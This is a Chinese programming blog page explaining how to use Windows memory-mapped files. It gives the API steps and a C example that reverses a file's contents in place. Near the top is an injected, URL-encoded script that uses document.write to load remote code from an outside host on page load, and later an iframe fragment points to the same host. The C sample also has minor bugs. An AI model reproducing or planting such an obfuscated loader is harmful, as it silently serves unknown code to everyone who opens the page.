使用内存映射文件

 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
使用内存映射文件




若要使用内存映射文件,必须执行下列操作步骤:
1) 创建或打开一个文件内核对象,该对象用于标识磁盘上你想用作内存映射文件的文件。(CreateFile)
2) 创建一个文件映射内核对象,告诉系统该文件的大小和你打算如何访问该文件。(CreateFileMapping)
3) 让系统将文件映射对象的全部或一部分映射到你的进程地址空间中。(MapViewOfFile)
当完成对内存映射文件的使用时,必须执行下面这些步骤将它清除:
1) 告诉系统从你的进程的地址空间中撤消文件映射内核对象的映像。(UnmapViewOfFile)
2) 关闭文件映射内核对象。(CloseHandle)
3) 关闭文件内核对象。(CloseHandle)
code: 
#include
<windows.h>
#include
<stdio.h>
#include
<stdlib.h>
 
int
main()
{
      
HANDLE file = CreateFile(
"test.txt"
,
                                                
GENERIC_READ|GENERIC_WRITE,
                                                
FILE_SHARE_READ|FILE_SHARE_WRITE,
                                         
      
NULL,
                                                
OPEN_EXISTING,
                                                
FILE_ATTRIBUTE_NORMAL,
                                                
NULL);
 
      
int
len = GetFileSize(file,NULL);
 
      
if
(file == INVALID_HANDLE_VALUE)
      
{
             
printf(
"create file error/n"
);
             
return
0;
      
}
 
      
HANDLE fileMap = CreateFileMapping(file,NULL,PAGE_READWRITE,0,0,NULL);
      
if
(fileMap==NULL)
      
{
             
CloseHandle(file);
             
printf(
"create filemaping error/n"
);
             
return
0;
      
}
 
      
char
*pData = (
char
*)MapViewOfFile(fileMap,FILE_MAP_ALL_ACCESS,0,0,0);
      
if
(pData==NULL)
      
{
             
CloseHandle(fileMap);
             
CloseHandle(file);
             
printf(
"create filemaping error/n"
);
             
return
0;
      
}
 
      
for
(
int
i=0; i<len/2; ++i)
      
{
             
char
t = pData[i];
             
pData[i] = pData[len-i-1];
             
pData[len-i-1] = t;
      
}
 
      
UnmapViewOfFile((
void
*)pData);
      
CloseHandle(fileMap);
      
CloseHandle(file);
      
      
return
0;
}
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值